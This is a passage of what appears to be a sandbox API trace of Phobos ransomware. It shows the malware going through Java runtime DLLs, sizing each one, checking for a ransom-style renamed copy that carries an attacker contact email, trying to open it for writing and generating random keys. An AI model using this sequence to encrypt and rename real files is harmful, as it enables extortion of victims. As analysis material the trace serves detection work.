files\\java\\jre1.8.0_144\\bin\\bci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.282] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=16960) returned 1 [0150.282] CloseHandle (hObject=0x580) returned 1 [0150.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 0x20 [0150.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.283] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.283] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=159808) returned 1 [0150.283] CloseHandle (hObject=0x580) returned 1 [0150.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 0x20 [0150.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.283] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.284] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=86080) returned 1 [0150.284] CloseHandle (hObject=0x580) returned 1 [0150.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 0x20 [0150.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.285] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.286] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=587840) returned 1 [0150.286] CloseHandle (hObject=0x580) returned 1 [0150.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 0x20 [0150.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.286] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.286] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1026112) returned 1 [0150.287] CloseHandle (hObject=0x580) returned 1 [0150.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 0x20 [0150.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.287] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.287] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1156672) returned 1 [0150.287] CloseHandle (hObject=0x580) returned 1 [0150.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 0x20 [0150.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.288] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.289] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=29760) returned 1 [0150.289] CloseHandle (hObject=0x580) returned 1 [0150.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 0x20 [0150.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.289] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.290] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=24640) returned 1 [0150.290] CloseHandle (hObject=0x580) returned 1 [0150.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 0x20 [0150.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.290] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.290] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=136256) returned 1 [0150.290] CloseHandle (hObject=0x580) returned 1 [0150.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 0x20 [0150.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.291] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.292] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=274496) returned 1 [0150.292] CloseHandle (hObject=0x580) returned 1 [0150.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 0x20 [0150.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.292] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.293] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=186944) returned 1 [0150.293] CloseHandle (hObject=0x580) returned 1 [0150.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 0x20 [0150.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.294] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.294] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=265792) returned 1 [0150.294] CloseHandle (hObject=0x580) returned 1 [0150.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 0x20 [0150.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.295] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.295] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=455744) returned 1 [0150.295] CloseHandle (hObject=0x580) returned 1 [0150.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 0x20 [0150.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.295] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.296] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=619584) returned 1 [0150.296] CloseHandle (hObject=0x580) returned 1 [0150.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 0x20 [0150.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.297] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.297] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=158272) returned 1 [0150.297] CloseHandle (hObject=0x580) returned 1 [0150.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll")) returned 0x20 [0150.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.298] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.298] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=123456) returned 1 [0150.298] CloseHandle (hObject=0x580) returned 1 [0150.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll")) returned 0x20 [0150.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.298] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.299] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19008) returned 1 [0150.299] CloseHandle (hObject=0x580) returned 1 [0150.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 0x20 [0150.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.300] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.300] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=63552) returned 1 [0150.300] CloseHandle (hObject=0x580) returned 1 [0150.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: 